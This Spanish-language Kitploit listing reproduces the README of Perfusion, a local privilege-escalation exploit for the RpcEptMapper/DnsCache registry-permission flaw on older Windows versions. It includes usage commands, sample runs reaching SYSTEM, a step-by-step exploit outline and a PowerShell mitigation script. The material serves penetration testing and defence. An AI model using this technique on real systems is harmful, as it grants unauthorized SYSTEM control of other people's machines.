Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Perfusion — Exploit para la vulnerabilidad de permisos de la clave de registro RpcEptMapper (Windows 7 / 2088R2 / 8 / 2012) | Kitploit
Herramientas/GitHubGitHub/itm4n/perfusion
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónPost-ExplotaciónPruebas de PenetraciónArchived
GitHubitm4n/perfusion

Perfusion

Exploit para la vulnerabilidad de permisos de la clave de registro RpcEptMapper (Windows 7 / 2088R2 / 8 / 2012)

Ver Repositorio
42775hace 5 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web

Perfusion

En Windows 7, Windows Server 2008R2, Windows 8 y Windows Server 2012, la clave de registro de los servicios RpcEptMapper y DnsCache (solo en 7/2008R2) está configurada con permisos débiles. Cualquier usuario local puede crear una subclave Performance y luego aprovechar los Contadores de rendimiento de Windows para cargar una DLL arbitraria en el contexto del servicio WMI como NT AUTHORITY\SYSTEM (de ahí el nombre de la herramienta).

Esta herramienta está diseñada para ayudar a consultores de seguridad durante pruebas de penetración. Este software se proporciona tal cual, y probablemente no proporcionaré soporte. Sin embargo, lo probé exhaustivamente en tres máquinas virtuales diferentes, por lo que no debería haber ningún problema significativo.

Para más información: https://itm4n.github.io/windows-registry-rpceptmapper-eop/

ℹ️ Actualización del 2021-04-21

Según 0patch, esta vulnerabilidad se corrigió parcialmente con la actualización de Windows de abril de 2021 (ESU). Esto significa que las máquinas que ejecutan una versión actualizada de Windows 8 / Server 2012 ya no deberían ser explotables. Sin embargo, Windows 7 / Server 2008 R2 sigue siendo vulnerable. Solo tienes que aprovechar la clave de registro Dnscache en lugar de RpcEptMapper. Actualicé el PoC para que puedas especificarlo manualmente con la opción -k.

Problemas conocidos

⚠️ LEE ESTO ANTES DE USAR ESTA HERRAMIENTA ⚠️

Durante la fase de desarrollo de esta herramienta, observé dos comportamientos diferentes:

  1. La DLL se carga directamente por el proceso principal del servicio WMI como NT AUTHORITY\SYSTEM, en este caso el exploit funciona perfectamente.
  2. La DLL se carga por un subproceso del servicio WMI que se ejecuta como NT AUTHORITY\LOCAL SERVICE. En este caso, el servicio carga la DLL mientras suplanta al cliente. Resulta que aún es posible una escalada de privilegios en Windows 7 (debido a otra vulnerabilidad), pero el coste de implementación no merecía la pena.

No puedo explicar esta diferencia porque mi código de disparo siempre era el mismo. De todos modos, en cualquier caso, deja que el exploit haga su trabajo para que pueda limpiar todo cuando termine. Si el exploit falla, aún existe la posibilidad de que funcione unos minutos u horas después.

✔️ Esto es lo que deberías ver cuando el exploit funciona:

root@kitploit:~
C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_2900_368_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[+] Exploit completed. Got a SYSTEM token! :)
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.
Microsoft Windows [Version 6.2.9200]
(c) 2012 Microsoft Corporation. All rights reserved.

C:\Temp>whoami
nt authority\system

C:\Temp>

❌ Esto es lo que deberías ver cuando el exploit falla:

root@kitploit:~
C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_636_3000_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[-] Exploit completed but no SYSTEM Token. :/
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.

C:\Temp>

Instrucciones de compilación

Esta solución se compone de dos proyectos que deben compilarse en un orden específico. Todo está preconfigurado, así que solo tienes que seguir estas sencillas instrucciones:

  1. Abre la solución con Visual Studio 2019
  2. Selecciona Release / x64
  3. Build > Build Solution

Uso

Puedes ver el mensaje de ayuda usando la opción -h.

root@kitploit:~
C:\TOOLS>Perfusion.exe -h
 _____         ___         _
|  _  |___ ___|  _|_ _ ___|_|___ ___
|   __| -_|  _|  _| | |_ -| | . |   |  version 0.2
|__|  |___|_| |_| |___|___|_|___|_|_|  by @itm4n

Description:
  Exploit tool for the RpcEptMapper registry key vulnerability.

Options:
  -c <CMD>  Command - Execute the specified command line
  -i        Interactive - Interact with the process (default: non-interactive)
  -d        Desktop - Spawn a new process on your desktop (default: hidden)
  -k <KEY>  Key - Either 'RpcEptMapper' or 'Dnscache' (default: 'RpcEptMapper')
  -h        Help - That's me :)

Mitigación / Parche

Las siguientes versiones de Windows son vulnerables:

Versión de WindowsClaves de registro vulnerables
Windows 7RpcEptMapper, DnsCache
Windows Server 2008R2RpcEptMapper, DnsCache
Windows 8RpcEptMapper
Windows Server 2012RpcEptMapper

Hasta donde sé, esta vulnerabilidad no será corregida por Microsoft, por alguna razón. La mejor solución sigue siendo actualizar a Windows 10 / Server 2019, pero si no es una opción a corto plazo, aún puedes parchear este problema tú mismo eliminando el permiso CreateSubKey tanto para NT AUTHORITY\Authenticated Users como para BUILTIN\Users en las siguientes claves de registro:

  • HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
  • HKLM\SYSTEM\CurrentControlSet\Services\DnsCache

Creé un parche para esta vulnerabilidad en forma de un script de PowerShell: RegistryPatch.ps1. Este script elimina el derecho CreateSubKey en las dos claves de registro mencionadas anteriormente para las siguientes identidades: NT AUTHORITY\INTERACTIVE, BUILTIN\Users y/o BUILTIN\Authenticated Users.

  • Comprobar si una máquina es vulnerable: (Windows Server 2012 aquí)
root@kitploit:~
PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Verbose
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
True
  • Aplicar el parche: (Windows Server 2008 R2 aquí)
root@kitploit:~
PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Patch -Verbose 
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: The new ACL was applied
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\INTERACTIVE" has "QueryValues, CreateSubKey, EnumerateSubKeys, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "CreateSubKey, ReadKey" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: The new ACL was applied
True

¿Cómo funciona este exploit?

A continuación se muestran los pasos del exploit implementados en esta herramienta:

  1. Se crea un proceso en segundo plano en estado suspendido (usando la línea de comandos especificada).
  2. La DLL de carga útil incrustada se escribe en la carpeta Temp del usuario actual.
  3. Se crea una clave Performance bajo HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper y se rellena con los valores apropiados, incluida la ruta completa de la DLL creada en el paso 2.
  4. Se crea e invoca la clase WMI Win32_Perf para desencadenar la recopilación de Contadores de rendimiento de Windows.
  5. La DLL es cargada por el servicio WMI como NT AUTHORITY\SYSTEM o NT AUTHORITY\LOCAL SERVICE.
  6. Si la DLL es cargada por NT AUTHORITY\SYSTEM, su Token se duplica y se aplica al proceso creado inicialmente por el usuario en el paso 1.
  7. Todo se limpia y se reanuda el hilo principal del proceso suspendido.
Descargar herramienta